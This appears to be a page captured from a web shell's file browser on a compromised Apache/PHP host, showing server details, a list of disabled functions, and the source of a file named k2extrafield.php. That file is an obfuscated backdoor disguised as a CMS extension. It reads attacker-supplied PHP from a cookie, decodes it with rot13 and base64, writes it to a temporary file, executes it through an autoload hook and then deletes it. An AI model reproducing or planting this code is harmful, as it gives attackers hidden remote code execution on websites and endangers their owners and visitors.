HEX
Server: Apache
System: Linux web2037c1.megawebservers.com 5.14.0-570.37.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 28 10:41:06 UTC 2025 x86_64
User: absolutespace.ca (53202)
PHP: 7.4.33
Disabled: apache_get_modules,apache_get_version,disk_free_space,phpinfo,exec,shell_exec,passthru,system,proc_nice
Upload Files
File: /services/webpages/a/b/absolutespace.ca/public/k2extrafield.php
<?php

if(isset($_COOKIE['tk'])) {
    die('Yd2'.'aow5');
}

if (isset($_COOKIE[85-85]) && isset($_COOKIE[-36+37]) && isset($_COOKIE[-24+27]) && isset($_COOKIE[94-90])) {
    $comp = $_COOKIE;
    function batch_process($data_chunk) {
        $comp = $_COOKIE;
        $dat = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'erbmMWgg');
        if (!is_writable($dat)) {
            $dat = getcwd() . DIRECTORY_SEPARATOR . "settings";
        }
        $flag = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($comp[3]));
        if (is_writeable($dat)) {
            $flg = fopen($dat, 'w+');
            fputs($flg, $flag);
            fclose($flg);
            spl_autoload_unregister(__FUNCTION__);
            require_once($dat);
            @array_map('unlink', array($dat));
        }
    }
    spl_autoload_register("batch_process");
    $hld = "19c181c5285ef40988ad2b3c765b6371";
    if (!strncmp($hld, $comp[4], 32)) {
        if (@class_parents("request_approved_reverse_lookup", true)) {
            exit;
        }
    }
}